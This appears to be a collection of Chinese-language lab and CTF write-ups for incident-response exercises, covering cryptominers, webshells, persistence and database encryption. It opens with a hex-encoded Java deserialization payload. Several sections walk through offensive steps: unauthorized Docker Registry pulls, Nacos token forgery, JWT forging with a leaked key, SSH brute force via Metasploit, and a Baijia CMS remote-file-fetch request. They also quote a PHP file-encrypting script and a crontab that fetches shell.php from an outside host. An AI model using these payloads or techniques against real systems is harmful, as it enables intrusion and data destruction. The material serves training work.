6571007e00055b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0014707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000027372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000002774000454657374740009546573742e6a61766174000367656e7371007e00170000000f71007e001971007e001a7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00137872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e0023787372001e636f6d2e616c69626162612e666173746a736f6e2e4a534f4e417272617900000000000000010200014c00046c69737471007e001378707371007e00220000000177040000000171007e00077878;", }}
10、同樣對@type欄位unicode編碼,注入記憶體馬。
11、成功連線注入的記憶體馬
12、直接冰蠍命令執行檢視核心版本
查殺記憶體馬
1.冰蠍修改root密碼,ssh登入上去,上傳即將用到的兩個檔案cop.jar和arthas-boot.jarcop.jararthas
2、使用cop.jar將java記憶體複製出來並打包
3、使用d盾、河馬等軟體自動找到記憶體馬檔案
4、修改可疑檔案中的冰蠍金鑰,並重新編譯(也可以修改其他地方,確保檔案無法利用或無危害即可)
5、上傳編譯後的檔案IceShell.class,使用arthas熱更新該檔案。若未配置java環境變數,使用find / -name java 找到java路徑即可。
6、用之前的金鑰冰蠍連線失敗,用修改後的金鑰冰蠍連線成功。
後門查殺
如圖清除即可。
第九章-algo挖礦
1、透過本地 PC SSH 到伺服器並且分析駭客的 IP 為多少,將駭客 IP 作為 FLAG 提交
cat /var/log/auth.log.1
2、透過本地 PC SSH 到伺服器並且分析駭客挖礦程式反鏈 IP 為多少,將駭客挖礦程式反鏈的 IP 作為 FLAG 提交
一般在計劃任務 cat /var/spool/cron/crontabs/root 可以找到挖礦木馬,執行後透過檢視程序的pid來確定反鏈ip
3、透過本地 PC SSH 到伺服器並且分析駭客許可權維持檔案的 md5, 將檔案的 MD5 (md5sum /file) 作為 FLAG 提交
透過分析認為做了維權的就是上面那個定時任務
4、透過本地 PC SSH 到伺服器並且分析駭客的使用者名稱為什麼,將駭客的使用者名稱作為 FLAG 提交
先看passwd 如果沒有就考慮看金鑰裡是否儲存使用者資訊
第九章-kswapd0挖礦
透過本地 PC SSH到伺服器並且分析駭客的 IP 為多少,將駭客 IP 作為 FLAG 提交;
直接使用命令last檢視歷史登入記錄
flag: flag{183.164.3.252}
透過本地 PC SSH到伺服器並且分析駭客的使用者名稱為什麼,將駭客的使用者名稱作為 FLAG 提交;
使用者名稱在authorized_keys私鑰檔案裡面可見
flag:flag{mdrfckr}
透過本地 PC SSH到伺服器並且分析駭客許可權維持檔案的md5,將檔案的 MD5(md5sum /file) 作為 FLAG 提交;
直接輸入crontab -e檢視定時任務
會發現寫入了一些初始檔案解壓後的內容,於是猜測許可權維持的手段就是定時任務,其實剛剛的那個ssh私鑰也是,這不是這個是另外一個問題的答案
flag :flag{cc84a750dcfb988861c8bf90aa15c039}
第九章-實戰篇-運維傑克
攻擊者使用的的漏洞掃描工具有哪些(兩個)
目前沒有理解
參考
https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw
一開始一直以為是 fscan 和 xray
後面看師傅的wp是
fscan 和 goby
flag{fscan-goby}
2 攻擊者上傳webshell的絕對路徑及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中間值 md5 後作為 flag 提交 flag{md5} - 是連結符
Wireshark分析result.pcap包,
php網站 特別關注PHP指令碼檔案
/lot/admin/assets/uploads/maps/1701324180_Shell123.php
my_is_user_agent
在靶機中find / -name 1701324180_Shell123.php
得到
/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php
故
/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent
根據題意
flag{14bea1643a4b97600ba13a6dd5dbbd04}
3 攻擊者反彈shell的IP及埠是什麼(ip:port)
檢視資料包(webshell內容得到)
flag{192.168.150.110:5678}
4 攻擊者利用提權攻擊新增的使用者,使用者名稱是什麼
檢視/etc/passwd
flag{zhangsan}
5 攻擊者留下了後門指令碼,找到絕對路徑(有SUID許可權)
find / -user root -perm -4000 -print 2>/dev/null
發現了一個隱藏目錄下的隱藏shell
flag{/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php}
6 攻擊者留下了持續化監控和後門指令碼,找到絕對路徑
持續化監控 想到許可權維持 常用操作 檢視計劃任務crontab -l
flag{/opt/.script/.script.sh}
第九章-blueteam 的小心思
攻擊者透過什麼密碼成功登入了網站的後臺?提交密碼字串的小寫md5值,格式flag{md5}。
分析出,使用者名稱和密碼都是post傳參,日誌看不到,猜測題目有流量包
find / -name *.pcap 2>/dev/null
最後一個login.php包就是登陸成功了
密碼
2.攻擊者在哪個PHP頁面中成功上傳了後門檔案?例如upload.php頁面,上傳字串"upload.php"的小寫md5值,格式flag{md5}。
3.找到攻擊者上傳的webshell檔案,提交該檔案的小寫md5值,格式flag{md5}。
4.攻擊者後續又下載了一個可執行的後門程式,提交該檔案的小寫md5值,格式flag{md5}。
有boundry,很明顯就是檔案上傳的報文,且下一個包就沒訪問這個php,說明這個就是
webshell就是後面訪問的路徑,
find / -newerct '2024-01-24 08:10:00' ! -newerct '2024-01-24 09:10:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null
5.攻擊者建立了後門使用者的名稱是?例如attack惡意使用者,上傳字串"attack"的小寫md5值,格式flag{md5}
awk F: '/\$1|\$6/ {print $1}' /etc/shadow
6.攻擊者建立了一個持久化的配置項,導致任意使用者登入就會觸發後門的連線。提交該配置項對應配置檔案的小寫md5值,格式flag{md5}。
如果是所有使用者的開機自啟項,考慮/etc下面的檔案
/etc/profile
7.攻擊者建立了一個持久化的配置項,導致只有root使用者登入才會觸發後門的連線。提交該配置項對應配置檔案的小寫md5值,格式flag{md5}。
直接檢視root下面的檔案
/root/.bashrc
/var/lib/mysql/ubuntu18.log
/var/lib/mysql/ubuntu18-slow.log
8.攻擊者加密了哪個資料庫?提交資料庫的資料夾名,例如user資料庫對應存放位置為user資料夾,上傳字串"user"的小寫md5值,格式flag{md5}。
JPMorgan@0020Chase/,裡面的frm和ibd都被加密了
9.解密資料庫,提交Harper使用者對應Areer的值。提交Areer值的小寫md5值,格式flag{md5}。
touch "2023-11-18 23:04:19" 1
find / -type f -newer 1 ! -newer Balance.frm 2>/dev/null
/var/liv/mysql/clockup.php
<?php
$currentDate = date("Y-m-d");
$key = md5($currentDate);
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$content = file_get_contents($fullPath);
$encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $encryptedContent);
}
}
?>
根據邏輯反推
<?php
$key = md5("2023-11-18");
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$content = file_get_contents("UserIdentitybak.ibd");
$data = openssl_decrypt($content,"aes-256-cbc",$key,0,$iv);
file_put_contents("UserIdentity.ibd",$data);
10.還原好的四個檔案替換原來的,然後mysql查詢就行
find / -user root -perm -4000 -print 2>/dev/null
盲猜一手sudo提權,直接看/etc/sudoers
第九章-blueteam 的小心思2
1. Fscan 掃描
./fscan_mac -h 52.83.46.219 -p 1-65535
2. 攻擊私有倉庫
透過掃描發現私有倉庫的埠為5000。
目錄掃描可以掃到一下兩個路徑,說明存在Docker Registry 未授權。
http://52.83.46.219:5000/v2/
http://52.83.46.219:5000/v2/_catalog
2.1 列出儲存庫
http://52.83.46.219:5000/v2/_catalog
2.2 檢視具體的倉庫資訊
http://52.83.46.219:5000/v2/nacos/manifests/latest
2.3 拉取私有倉庫中的 Nacos 映象
docker pull <倉庫地址>/<映象名稱>:<標籤>
docker pull 43.192.47.138:5000/nacos
2.4 解決http: server gave HTTP response to HTTPS client
由於docker映象拉取與推送服務使用的是https協議,但是倉庫伺服器上面沒有配置https證書,可以修改客戶端的配置,使用http協議進行通訊。編輯/etc/docker/daemon.json檔案。
vim /etc/docker/daemon.json
新增以下內容:
{
"insecure-registries": ["43.192.47.138:5000"]
}
然後重啟docker服務。
systemctl restart docker
2.5 再次拉取私有倉庫中的 Nacos 映象
docker pull 43.192.47.138:5000/nacos
2.6 執行Nacos容器
執行容器,進入容器。
docker run -itd 4249d3c080bc
docker exec -it fa18ae900e9 bash
找到 Nacos 配置檔案,conf 目錄下的application.properties檔案。
得到Nacos的key為:
eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
按照題目要求,進行base64解碼後得到第一個flag。
flag{xjnacos2023penguinedisecflagflagflag}
3. 本地搭建 Nacos
本地使用centos系統搭建Nacos2.2.3,使用從docker映象中獲取到的配置。
3.1 下載 Nacos2.2.3 安裝包
https://github.com/alibaba/nacos/releases/download/2.2.3/nacos-server-2.2.3.tar.gz
3.2 解壓並移動
tar -zxvf nacos-server-2.2.3.tar.gz
mv nacos /usr/local
3.3 在 centos7 中安裝 JDK8
(1) 安裝和映象環境中一樣的java版本。
yum install java-1.8.0-openjdk* -y
安裝目錄為:/usr/lib/jvm/java-1.8.0-openjdk
(2) 驗證是否安裝成功
java -version
輸出以下內容則表示安裝配置完成:
openjdk version "1.8.0_222"
OpenJDK Runtime Environment (build 1.8.0_222-b10)
OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode)
(3) 修改環境變數
vim /etc/profile
在最下面新增以下配置:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH={JAVA_HOME}/bin:$PATH
(4) 重新整理配置,讓profile檔案立即生效
source /etc/profile
3.4 編輯 application.properties
cd /usr/local/nacos/conf
vim application.properties
把application.properties檔案的內容替換為從docker映象中得到的application.properties檔案內容。但是其中的一些環境變數(如資料庫相關的環境變數)需要替換一下。
# spring
server.servlet.contextPath=${SERVER_SERVLET_CONTEXTPATH:/nacos}
server.contextPath=/nacos
server.port=8848
server.tomcat.accesslog.max-days=30
server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i %{Request-Source}i
server.tomcat.accesslog.enabled=${TOMCAT_ACCESSLOG_ENABLED:false}
server.error.include-message=ALWAYS
# default current work dir
server.tomcat.basedir=file:.
#*************** Config Module Related Configurations ***************#
### Deprecated configuration property, it is recommended to use `spring.sql.init.platform` replaced.
#spring.datasource.platform=${SPRING_DATASOURCE_PLATFORM:}
spring.sql.init.platform=${SPRING_DATASOURCE_PLATFORM:}
nacos.cmdb.dumpTaskInterval=3600
nacos.cmdb.eventTaskInterval=10
nacos.cmdb.labelTaskInterval=300
nacos.cmdb.loadDataAtStart=false
db.num=${MYSQL_DATABASE_NUM:1}
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?${MYSQL_SERVICE_DB_PARAM:characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false}
db.user.0=root
db.password.0=123456
### The auth system to use, currently only 'nacos' and 'ldap' is supported:
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
### worked when nacos.core.auth.system.type=nacos
### The token expiration in seconds:
nacos.core.auth.plugin.nacos.token.expire.seconds=${NACOS_AUTH_TOKEN_EXPIRE_SECONDS:18000}
### The default token:
nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
### Turn on/off caching of auth information. By turning on this switch, the update of auth information would have a 15 seconds delay.
nacos.core.auth.caching.enabled=${NACOS_AUTH_CACHE_ENABLE:false}
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue
## spring security config
### turn off security
nacos.security.ignore.urls=${NACOS_SECURITY_IGNORE_URLS:/,/error,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/**,/v1/console/health/**,/actuator/**,/v1/console/server/**}
# metrics for elastic search
management.metrics.export.elastic.enabled=false
management.metrics.export.influx.enabled=false
nacos.naming.distro.taskDispatchThreadCount=10
nacos.naming.distro.taskDispatchPeriod=200
nacos.naming.distro.batchSyncKeyCount=1000
nacos.naming.distro.initDataRatio=0.9
nacos.naming.distro.syncRetryDelay=5000
nacos.naming.data.warmup=true
3.5 啟動 Nacos
cd /usr/local/nacos/bin
sh startup.sh -m standalone
啟動成功。
在登陸處抓包,得到accessToken。
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"tokenTtl":18000,
"globalAdmin":true,
"username":"nacos"
}
4. Nacos 滲透4.1 登陸 Nacos
使用本地搭建Nacos登陸獲得到的accessToken去登陸題目中的Nacos。
在登陸處抓包,修改響應資料包。
得到:
將響應資料包修改為:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Content-Type: application/json
Content-Length: 14
Date: Sat, 25 May 2024 02:50:47 GMT
Connection: close
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"toenTtl":18000,
"globalAdmin":true
}
點選Forward。
登陸成功。
4.2 配置管理資訊收集
在ADMIN_CONFIG中得到第二個flag以及FMS系統的帳號密碼。
# file-managerpassword
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456
#flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}
5. FMS 滲透5.1 登陸 FMS
使用從Nacos配置中得到的帳號密碼登陸FMS。
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456[![img](https://xzfile.aliyuncs.com/media/upload/picture/20240530170929-523ceed2-1e64-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20240530170929-523ceed2-1e64-1.png)
登陸成功,但是提示許可權不夠。
5.2 jwt 構造
抓包。
利用從 Nacos 配置中得到的 jwtkey: 123456 進行 jwt 構造(網站 https://jwt.io/ )。
將Token改為構造後的值再傳送。
eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJob3N0IiwibmFtZSI6InN5c2FkbWluMTIzNDU2IiwiZXhwIjoxNzE2OTU1MDYwLCJpYXQiOjE3MTY5NDc4NjB9.n1A38ZxyRfHye1sMJAVQEkH9T-J7KTa8PxPTUBUtLQg[![img](https://xzfile.aliyuncs.com/media/upload/picture/20240530171111-8f306896-1e64-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20240530171111-8f306896-1e64-1.png)
成功看到FMS中的檔案。
5.3 下載運維帳號
利用同樣的方法,抓包修改Token,將幾個檔案下載下來。
在「運維帳號.xlsx」檔案中得到很多密碼。
5.4 上傳檔案
在檔案上傳處抓包,修改token,成功上傳檔案,得到第三個flag。
flag{d6c578d4a41a141d731fe7c36c8c0f77}
6. 獲取伺服器許可權6.1 ssh 口令爆破
使用MSF中的模組進行ssh口令爆破,密碼字典為從「運維帳號.xlsx」檔案中得到的密碼。
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 161.189.163.153
set USERNAME root
set PASS_FILE pwd.txt
set RPORT 2222
run
爆破成功,得到密碼為imArGcj9。
則第四個flag為:
flag{imArGcj9}
6.2 ssh 連線
ssh root@161.189.163.153 -p 2222
7. 找到駭客留下的 backdoor
駭客留下的 backdoor 後門的絕對路徑,這裡我是直接按照時間排查的,發現evilfms.service。
find / -type f -newermt 2023-12-01 ! -newermt 2024-01-01
得到第五個flag。
flag{evilfms.service}
這道題這5個flag拿到就已經完成了,後面應急部分自己修吧
第九章-blueteam 的小心思2
1、審計日誌,攻擊者下載惡意木馬檔案的 ip是多少 flag{ip}
flag{192.168.150.253}
2、審計流量包,木馬檔案連線密碼是什麼? 檢視與shell.php相關http的日
flag{cmd}
3、審計流量包,攻擊者反彈的IP和埠是什麼? 檢視流量:
flag{192.168.150.199:4444}
4、提交駭客上傳惡意檔案的 md5 使用命令,檢視上傳惡意檔案前後三小時內被修改的檔案:
find / -newerct '2023-12-21 08:00:16' ! -newerct '2023-12-21 11:00:16' ! -path '/proc/' ! -path '/sys/' ! -path '/run/*' -type f -exec ls -lcr --full-time {} + 2>/dev/null
發現/module.so檔案 使用命令:md5sum module.so 即可獲取MD5值
flag{d41d8cd98f00b204e9800998ecf8427e}
5、攻擊者在伺服器內許可權維持請求外部地址和惡意檔案的地址 檢視定時任務 cat /etc/crontab flag{http://192.168.150.199:88/shell.php}
1. 審計日誌,攻擊者下載惡意木馬檔案的 ip是多少 flag{ip}
直接過濾http協議
FLAG:192.168.150.253
2.審計流量包,木馬檔案連線密碼是什麼? flag{xxx}
使用post傳的cmd引數,用蟻劍進行連線
FLAG:cmd
3.審計流量包,攻擊者反彈的IP和埠是什麼? flag{ip:port}
選中資料包->在post傳參中選倒數第二條->複製->值
要多新增幾個字元,保證base64能夠正常解碼
FLAG:192.168.150.199:4444
4.提交駭客上傳惡意檔案的 md5 md5sum xxx.so
利用redis的主從複製上傳了modules.so檔案
使用redis進行反彈shell
FLAG:module.so
5.攻擊者在伺服器內許可權維持請求外部地址和惡意檔案的地址flag{http://xxxx/xxxx}
看到題目就要想到計劃任務,資料包中也可以看到
FLAG:http://192.168.150.199:88/shell.php
總結:
*透過這個***evil.php**下載了另外一個木馬**shell.php**,木馬的密碼為**cmd**使用**.shell.php**看**redis**配置檔案和反彈**shell**,反彈成功.****
redis**服務利用主從複製,整了**module.so**檔案,然後利用這個檔案進行命令執行,又反彈**shell4**使用新的**shell**,進行了許可權維持.**
第九章-Where-1S-tHe-Hacker
0.場景描述
韓一是划水通訊公司的一名安服,某天在日常巡檢的過程中發現客戶網站被入侵併掛了黑頁,他意識到自己需要應急哥的幫助,於是他毫不猶豫地給你打電話。請你找出攻擊痕跡並還原攻擊鏈。伺服器已經處於網路隔離狀態,排查出並清理攻擊者留存的惡意檔案,將web服務恢復正常,保證伺服器不存在安全問題,在做應急處置、溯源的過程中請給發現存在的脆弱點加固建議。
1.隱患排查
本文的思路僅僅是按照靶場內容建設,並不與真實環境下的排查方案一致
靶機使用者和密碼
使用者:admin
密碼:Aa123456
1.1 隱藏使用者
喚醒屏保就可以看到在登入介面的左下角存在兩個使用者,分別是 admin 和 admin$ ,以 $ 結尾是常見的後門使用者命名方式
可以透過檢視登錄檔表項 計算機\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下的條目看到本地計算機的所有使用者,可以更加精確地排查是否有後門使用者建立
1.2 敏感資訊
1.2.1 站點資訊洩露
在當前使用者的桌面存在敏感資訊 mysql_conf.txt ,該檔案上儲存了後臺管理員賬號密碼和資料庫地賬號密碼
1.2.2 站點原始碼洩露
在站點根目錄下存在站點原始碼的壓縮檔案
1.3 主站黑頁
在站點根目錄的 index.php 中發現如下內容 hacker by X1234567X
檢視檔案相關資訊:建立時間、修改時間、訪問時間,初步定位被滲透時間
1.3.1 webshell 後門查詢
使用D盾、河馬等查殺工具,對web目錄下的檔案進行查殺,可以看到第一個檔案是在 2015 年建立的,後面兩個檔案是在2023 年建立的,且內容均為 eval($_POST[]);` 形式
1.4 web 中介軟體日誌分析
1.4.1 access.log
access.log 檔案記錄了伺服器接收到的所有HTTP請求的詳細資訊。每條記錄通常包括時間戳、客戶端IP地址、請求的URL、HTTP方法(如GET或POST)、返回的HTTP狀態碼、傳輸的資料大小等
1.4.2 error.log
error.log 檔案記錄了伺服器在處理請求時遇到的錯誤和異常。這些錯誤可能包括404未找到錯誤、500伺服器內部錯誤、許可權問題、配置錯誤等
1.5 windows 日誌查詢
win + R 輸入 eventvwr 開啟事件管理器
1.5.1 ID 4720
windows event ID=4720 代表已建立使用者帳戶
1.5.2 ID 4732
windows event ID=4732 代表已將成員新增到啟用安全性的本地組
1.5.3 ID 5058
windows event ID=5058代表和金鑰檔案操作相關,它與Windows加密服務和金鑰管理有關,例如金鑰的建立、匯入、匯出或使用金鑰進行加密或解密的活動。
1.5.4 ID 4624
windows event ID=4624代表一個使用者成功登入,在某些情況下,事件ID 4624 可能會記錄使用SMB協議的網路連線嘗試,即使這些嘗試最終沒有導致使用者登入系統。
1.6 後門查殺
可以嘗試使用防毒軟體進行查殺,因為是windows,這裡我們直接使用微軟的 defender 對木馬檔案進行查殺
第九章-Where-1S-tHe-Hacker-part2
0.場景描述
水哥是某公司的一名運維,某天他在日常巡檢的過程中發現了異常,敏銳的他感覺到了事情的不妙,於是聯絡同事要到了你的電話,請你幫助他解決這個難題。
1.隱患排查
本文的思路僅僅是按照靶場內容建設,並不與真實環境下的排查方案一致
靶機使用者和密碼
使用者:admin
密碼:Aa123456
1.1 webshell 後門查殺
使用D盾、河馬等查殺工具,對web目錄下的檔案進行查殺
可以看到一大堆意思後門,且內容均為 eval($_POST[]);` 形式,開啟檔案對應位置,並且檢視檔案資訊:建立時間、修改時間和訪問時間,根據建立時間可以知道檔案落地時間
1.2 後門查殺
針對後門查殺,我們可以使用防毒軟體直接進行查殺,這裡我使用的是火絨
排除webshell的干擾,我們可以看到在 C:\windows\Temp 下存在一個可疑檔案 huorong.exe
開啟檔案相應位置可以看到是一個偽裝成火絨安裝包的後門檔案,檢視檔案屬性建立時間為2023年11月15日7:45:47
1.3 後門使用者檢測
1.3.1 windows event
可以使用windows的時間管理工具中的日誌篩選功能,對事件ID為4720和4732的時間進行篩選
1.3.2 D盾克隆賬號檢測
也可以使用D盾的克隆賬號檢測功能,這裡我們嘗試使用D盾的克隆賬號檢測功能
在掃描的結果中,可以很清晰的看到,Guest賬號被啟用並新增進管理員組
為什麼首當其衝的懷疑這個賬號呢?
1.3.2.1 Guest賬號
Windows中的Guest賬戶是一個特殊的使用者賬戶,它允許使用者在沒有建立個人賬戶的情況下訪問計算機。由於Guest賬戶的許可權較低,它不適合需要執行高階任務或訪問敏感資訊的使用者
1.4 計劃任務、服務、開機自啟動項查殺
這裡我們可以使用獨立安裝版火絨劍,這款工具官方已經下架,需要自己搜尋一下資源,而且目標主機上最好不要安裝火絨最新版,最新版的火絨會識別火絨劍的程式並禁用
開啟火絨劍,一次檢視 啟動項 -> 計劃任務 ,我們可以很清晰的看到一個安全狀態為未知的疑似火絨安裝包程式被加入了開機啟動項程式,右鍵檢視屬性,可以看到,正是我們之前透過火絨查殺出來的後門檔案
Win+R,輸入 taskschd.msc 啟動任務計劃程式,定位到 \Microsoft\Windows\AppID\ ,找到上文中 Microsoft SysnomCon 程式
右鍵匯出異常計劃任務 Microsoft-SysnomCon 即可檢視到詳細資訊,這裡顯示註冊時間為2023年11月15日8:02:20
2. 利用鏈分析2.1 FTP 弱口令
攻擊者嘗試使用 anonymous 和 ftp 使用者嘗試登入
使用 ftp/123456 成功登入主機FTP服務
可以看到我們當前 FTP 所在的目錄正是 webshell 的目錄
2.2 站點後臺管理員弱口令
對於一個 web 站點,我們通常會嘗試對其登入頁面進行弱口令登入嘗試,登入成功往往會有 Js 頁面跳轉 、 Get Param url跳轉 和 30x 頁面重定向 等標誌
訪問首頁地址 http://localhost/index.php?mod=mobile&act=public&do=index&beid=1 ,發現是一個登陸介面,我們嘗試對其賬號密碼進行弱口令爆破
成功使用 admin/123456 成功登入管理員後臺介面
2.3 Baijia CMS 後臺任意檔案上傳漏洞
payload:
GET /index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=http://遠端地址/檔案.php HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pusi68o14jke80q64hcg8ram20; __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global=
Connection: close
可以載入指定URL檔案到本地,儲存路徑會在 HTTP Response 中顯示,這裡我們嘗試上傳一個不同域中的
訪問返回包中的路徑,成功顯示 PHPinfo 的內容,檔案上傳成功
可以在 /index.php?mod=site&do=file&act=public&op=local&beid=1 路徑中檢視到所有上傳檔案的路徑
上面排查的webshell後門可以分析一部分可能是透過 FTP 上傳功能上傳到web站點的,一部分可能透過此處檔案上傳漏洞上傳的
可以在web日誌中很清楚的看到後門檔案通訊的時間
第九章 NOP Team dmz-A
步驟1
1、請提交禪道的版本號,格式: flag{xx.xxx.xxxx}
在web目錄下可以找到版本資訊
image-20240602001926994
flag{18.0.beta1}
步驟2
2.分析攻擊者使用了什麼工具對內網環境進行了資訊收集,將該工具名稱提交 flag{xxxx}
在/opt目錄下發現gj目錄,在裡面發現fscan
image-20240602002630608
flag{fscan}
步驟3
3.攻擊者攻擊伺服器得到shell以後,是處於哪個使用者下做的操作,將該使用者名稱提交 flag{xxxx}
版本是18.0.beta1,有個rce洞
禪道專案管理系統RCE漏洞復現
flag{nobody}
步驟4
4.攻擊者掃描到內網 DMZ-B機器的賬戶密碼為多少格式 flag{root:root}
cat fscan檢視掃描結果
flag{admin:123456}
第九章 NOP Team dmz-B
步驟1
image-20240602003351886
發現需要用到A裡面找到的使用者名稱和密碼,已知使用者名稱為admin,密碼為123456.
檢視history發現連線過C主機
flag{ssh:deploy}
第九章 NOP Team dmz-C
步驟1
1.攻擊者透過攻擊DMZ-B機器發現有金鑰可以免密登入到DMZ-C機器裡,然後攻擊者上傳了一個挖礦程式,請將該挖礦程式的名稱提交,格式 <flag{xxxxxx}>
檢視一下history
flag{xmrig}
步驟2
2.攻擊者透過攻擊DMZ-B機器發現有金鑰可以免密登入到DMZ-C機器裡,然後攻擊者上傳了一個挖礦程式,請將該挖礦的地址提交,格式 <flag{xxxxxx}>
直接cat config.json
flag{xmrs1.pool.cn.com:55503}
步驟3
3.攻擊者透過攻擊DMZ-B機器發現有金鑰可以免密登入到DMZ-C機器裡,然後攻擊者上傳了一個挖礦程式,但由於DMZ-C機器是不出網的,所以攻擊者透過了一種方式將流量轉發了出去,請將轉發的目標埠提交,格式 <flag{xxxxxx}>
不出網,能把流量轉發出去應該是開了代理,發現/opt/client下面有一個frpc.ini檔案
flag{1080}
步驟4
4.攻擊者透過攻擊DMZ-B機器發現有金鑰可以免密登入到DMZ-C機器裡,然後攻擊者上傳了一個挖礦程式,但由於DMZ-C機器是不出網的,所以攻擊者透過了一種方式將流量轉發了出去,請將用來做轉發的工具的名稱提交,格式 <flag{xxxxxx}>
由步驟3可知轉發流量的工具為frpc
flag{frpc}
步驟5
5.攻擊者最後透過某配置檔案配置錯誤,從而直接可以擁有root使用者許可權,請將錯誤配置的那一行等於號後面的內容(不含空格)提交,格式 <flag{xxxxxxx}>
sudo就有root許可權,配置檔案為/etc/sudoers
flag{(ALL:ALL)NOPASSWD:ALL}
實戰-行業攻防應急響應
映象下載地址:https://pan.quark.cn/s/00642862b330
被攻擊站點使用的是spring boot框架,我們此處使用若依復現,被利用到的點會在其中
防:應急階段
系統: Ubuntu 22.0.4CPU: 4顆記憶體: 4G空間: 保證6G左右應急主機: 192.168.0.211閘道器: 192.168.0.1/24其它傀儡機: 段內賬號/密碼: root/security123流量包: /home/security/security.pcap注: 因未使用中介軟體開放WEB,所以日誌全程以流量包分析題目: 1. 根據流量包分析首個進行掃描攻擊的IP是 2. 根據流量包分析第二個掃描攻擊的IP和漏掃工具,以flag{x.x.x.x&工具名} 3. 提交頻繁爆破金鑰的IP及爆破次數,以flag{ip&次數}提交 4. 提交攻擊者利用成功的金鑰,以flag{xxxxx}提交 5. 提交攻擊者獲取到的所有服務的弱口令,多個以&提交,如flag{xxx&xxx&xxx} 6. 根據應急響應方法,提交利用漏洞成功的埠,多個以&連線,如:flag{port&port&port} 7. 根據流量包分析,提交攻擊者利用金鑰探測成功的dnslog地址 8. 根據流量包分析,提交攻擊者反彈shell的地址和埠,以flag{x.x.x.x&port}提交 9. 攻擊者在主機放置了fscan(已改名),經掃描拿下一臺永恆之藍漏洞主機,以此為線索進行提交fscan絕對路徑 10. 另類方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交 11. 攻擊者為了許可權維持,在主機放置了模擬遠控工具,需提交此遠控工具的下載地址,以flag{http:xxx.xx/xxx} 12. 攻擊者就知道你會這樣找到,所以又建立了一條相關的指令碼,使用其他方法進行下載,提交指令碼的絕對路徑 13. 攻擊者建立了一個隱藏使用者,提交此使用者的使用者名稱,以flag{xxxx}提交
題目 | 答案 |
---|---|
根據流量包分析首個進行掃描攻擊的IP是 | 192.168.0.223 |
開啟抓取的流量包,這什麼啊,沒有一點規律,這個時候不要著急
